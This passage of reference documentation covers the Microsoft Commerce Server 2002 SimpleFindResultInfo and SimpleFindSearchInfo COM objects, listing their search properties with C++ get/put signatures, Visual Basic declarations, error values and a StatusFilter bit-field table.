[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_SortDirection, put_SortDirection Property [C++]

SimpleFindResultInfo.SortDirection Property [Visual Basic]

The SortDirection property is a read/write Variant that contains the sort direction. The value of this field can be "asc" for ascending or "desc" for descending.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_SortDirection(
  VARIANT* SortDirection
);

Put method:

HRESULT _SimpleFindResultInfo::put_SortDirection(
  VARIANT* SortDirection
);
[Visual Basic]
Property SortDirection As Variant

Parameters

SortDirection [C++]
[in] When putting the property, a VARIANT that contains the sort direction.
[out, retval] When getting the property, a VARIANT used to return the sort direction.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The SortDirection parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


SimpleFindSearchInfo Object [C++]

SimpleFindSearchInfo Object [Visual Basic]

Use this object to specify search criteria when conducting searching and deleting operations using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

ProgID: | Commerce.SimpleFindSearchInfo (Externally creatable)
COM Class Name: | SimpleFindSearchInfo
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SimpleFindSearchInfo
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _SimpleFindSearchInfo interface to access the properties and methods of the SimpleFindSearchInfo object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Properties

[C++]
Property | Type | Description
description | VARIANT | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | VARIANT | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | VARIANT | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | VARIANT | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | VARIANT | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | VARIANT | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | VARIANT | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | VARIANT | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | VARIANT | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | VARIANT | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | VARIANT | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | VARIANT | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | VARIANT | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.
[Visual Basic]
Property | Type | Description
description | Variant | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Variant | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Variant | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Variant | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Variant | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Variant | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Variant | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Variant | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | Variant | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Variant | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Variant | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Variant | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Variant | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.

See Also

[C++] Business Process Objects

[C++] SimpleFindResultInfo Object

[C++] OrderGroupManager Object

[C++] OrderGroup Object

[C++] OrderForm Object

[Visual Basic] Business Process Objects

[Visual Basic] SimpleFindResultInfo Object

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object


_SimpleFindSearchInfo Properties [C++]

SimpleFindSearchInfo Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
description | VARIANT | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | VARIANT | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | VARIANT | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | VARIANT | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | VARIANT | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | VARIANT | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | VARIANT | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | VARIANT | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | VARIANT | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | VARIANT | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | VARIANT | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | VARIANT | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | VARIANT | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.
[Visual Basic]
Property | Type | Description
description | Variant | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Variant | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Variant | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Variant | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Variant | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Variant | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Variant | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Variant | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | Variant | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Variant | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Variant | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Variant | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Variant | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.


_SimpleFindSearchInfo::get_description, put_description Property [C++]

SimpleFindSearchInfo.description Property [Visual Basic]

The description property is a read/write Variant that specifies the product description to search for; if left null, the product description does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_description(
  VARIANT* description
);

Put method:

HRESULT _SimpleFindSearchInfo::put_description(
  VARIANT* description
);
[Visual Basic]
Property description As Variant

Parameters

description [C++]
[in] When putting the property, a VARIANT that contains the item description to search for.
[out, retval] When getting the property, a VARIANT used to return the item description to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The description parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_order_number, put_order_number Property [C++]

SimpleFindSearchInfo.order_number Property [Visual Basic]

The order_number property is a read/write Variant that specifies the order number to search for; if left null, the order number does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_order_number(
  VARIANT* order_number
);

Put method:

HRESULT _SimpleFindSearchInfo::put_order_number(
  VARIANT* order_number
);
[Visual Basic]
Property order_number As Variant

Parameters

order_number [C++]
[in] When putting the property, a VARIANT that contains the order number to search for.
[out, retval] When getting the property, a VARIANT used to return the order number to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The order_number parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_ordergroup_id, put_ordergroup_id Property [C++]

SimpleFindSearchInfo.ordergroup_id Property [Visual Basic]

The ordergroup_id property is a read/write Variant that contains the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_ordergroup_id(
  VARIANT* ordergroup_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_ordergroup_id(
  VARIANT* ordergroup_id
);
[Visual Basic]
Property ordergroup_id As Variant

Parameters

ordergroup_id [C++]
[in] When putting the property, a VARIANT that contains the OrderGroup ID to search for.
[out, retval] When getting the property, a VARIANT used to return the OrderGroup ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The ordergroup_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_po_number, put_po_number Property [C++]

SimpleFindSearchInfo.po_number Property [Visual Basic]

The po_number property is a read/write Variant that contains the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_po_number(
  VARIANT* po_number
);

Put method:

HRESULT _SimpleFindSearchInfo::put_po_number(
  VARIANT* po_number
);
[Visual Basic]
Property po_number As Variant

Parameters

po_number [C++]
[in] When putting the property, a VARIANT that contains the OrderForm ID to search for.
[out, retval] When getting the property, a VARIANT used to return the OrderForm ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The po_number parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_product_id, put_product_id Property [C++]

SimpleFindSearchInfo.product_id Property [Visual Basic]

The product_id property is a read/write Variant that contains the product ID to search for; if left null, the product ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_product_id(
  VARIANT* product_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_product_id(
  VARIANT* product_id
);
[Visual Basic]
Property product_id As Variant

Parameters

product_id [C++]
[in] When putting the property, a VARIANT that contains the product ID to search for.
[out, retval] When getting the property, a VARIANT used to return the product ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The product_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeColumn, put_SearchDateTimeColumn Property [C++]

SimpleFindSearchInfo.SearchDateTimeColumn Property [Visual Basic]

The SearchDateTimeColumn property is a read/write Variant that contains the name of the DateTime column to use in the search. If left null, the DateTime column name does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeColumn(
  VARIANT* SearchDateTimeColumn
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeColumn(
  VARIANT* SearchDateTimeColumn
);
[Visual Basic]
Property SearchDateTimeColumn As Variant

Parameters

SearchDateTimeColumn [C++]
[in] When putting the property, a VARIANT that contains the name of the DateTime column to use in the search.
[out, retval] When getting the property, a VARIANT used to return the name of the DateTime column to use in the search.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The SearchDateTimeColumn parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeEnd, put_SearchDateTimeEnd Property [C++]

SimpleFindSearchInfo.SearchDateTimeEnd Property [Visual Basic]

The SearchDateTimeEnd property is a read/write Variant that contains the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeEnd(
  VARIANT* SearchDateTimeEnd
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeEnd(
  VARIANT* SearchDateTimeEnd
);
[Visual Basic]
Property SearchDateTimeEnd As Variant

Parameters

SearchDateTimeEnd [C++]
[in] When putting the property, a VARIANT that contains the DateTime end value to search for.
[out, retval] When getting the property, a VARIANT used to return the DateTime end value to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The SearchDateTimeEnd parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeStart, put_SearchDateTimeStart Property [C++]

SimpleFindSearchInfo.SearchDateTimeStart Property [Visual Basic]

The SearchDateTimeStart property is a read/write Variant that contains the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeStart(
  VARIANT* SearchDateTimeStart
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeStart(
  VARIANT* SearchDateTimeStart
);
[Visual Basic]
Property SearchDateTimeStart As Variant

Parameters

SearchDateTimeStart [C++]
[in] When putting the property, a VARIANT that contains the DateTime start value to search for.
[out, retval] When getting the property, a VARIANT used to return the DateTime start value to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The SearchDateTimeStart parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_StatusFilter, put_StatusFilter Property [C++]

SimpleFindSearchInfo.StatusFilter Property [Visual Basic]

The StatusFilter property is a read/write Variant that contains the OrderGroup status.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_StatusFilter(
  long* StatusFilter
);

Put method:

HRESULT _SimpleFindSearchInfo::put_StatusFilter(
  long StatusFilter
);
[Visual Basic]
Property StatusFilter As Long

Parameters

StatusFilter [C++]
[in] When putting the property, a long that contains the OrderGroup status.
[out, retval] When getting the property, a long used to return the OrderGroup status.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The StatusFilter parameter contains valid data only if the property is accessed successfully.

The value of the StatusFilter parameter determines whether a search is being made for a basket, an order, a template, or a combination of these. A bit field is used to determine this. The following table shows the meaning of the individual bits.

Status Type | Value
Basket | 1
Template | 2
New Order | 4
Custom | 8
Custom | 16

Note

  • Because the contents of baskets and templates are held in one table, and the contents of OrderGroups with all other status codes (codes 4 and greater) are held elsewhere, only certain values are permissible for searches.

    The following values are permissible:

    • 1 (basket search)
    • 2 (template search)
    • 3 (basket or template)
    • 4 (new order)
    • 12 ( 4 & 8)
    • 24 (8 & 16)

    The following values are not permissible:

    • 5 (basket or new order)
    • 6 (template or new order)
    • 9 (1 & 8)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_firstname, put_user_firstname Property [C++]

SimpleFindSearchInfo.user_firstname Property [Visual Basic]

The user_firstname property is a read/write Variant that contains the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_firstname(
  VARIANT* user_firstname
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_firstname(
  VARIANT* user_firstname
);
[Visual Basic]
Property user_firstname As Variant

Parameters

user_firstname [C++]
[in] When putting the property, a VARIANT that contains the first name of the user to search for.
[out, retval] When getting the property, a VARIANT used to return the first name of the user to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_firstname parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_id, put_user_id Property [C++]

SimpleFindSearchInfo.user_id Property [Visual Basic]

The user_id property is a read/write Variant that contains the user ID to search for; if left null, the user ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_id(
  VARIANT* user_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_id(
  VARIANT* user_id
);
[Visual Basic]
Property user_id As Variant

Parameters

user_id [C++]
[in] When putting the property, a VARIANT that contains the user ID to search for.
[out, retval] When getting the property, a VARIANT used to return the user ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_lastname, put_user_lastname Property [C++]

SimpleFindSearchInfo.user_lastname Property [Visual Basic]

The user_lastname property is a read/write Variant that contains the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_lastname(
  VARIANT* user_lastname
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_lastname(
  VARIANT* user_lastname
);
[Visual Basic]
Property user_lastname As Variant

Parameters

user_lastname [C++]
[in] When putting the property, a VARIANT that contains the last name of the user to search for.
[out, retval] When getting the property, a VARIANT used to return the last name of the user to search for.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The user_lastname parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_org_id, put_user_org_id Property [C++]

SimpleFindSearchInfo.user_org_id Property [Visual Basic]

The user_org_id property is a read/write Variant that contains the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_org_id(
  VARIANT* user_org_id
);

Put method:

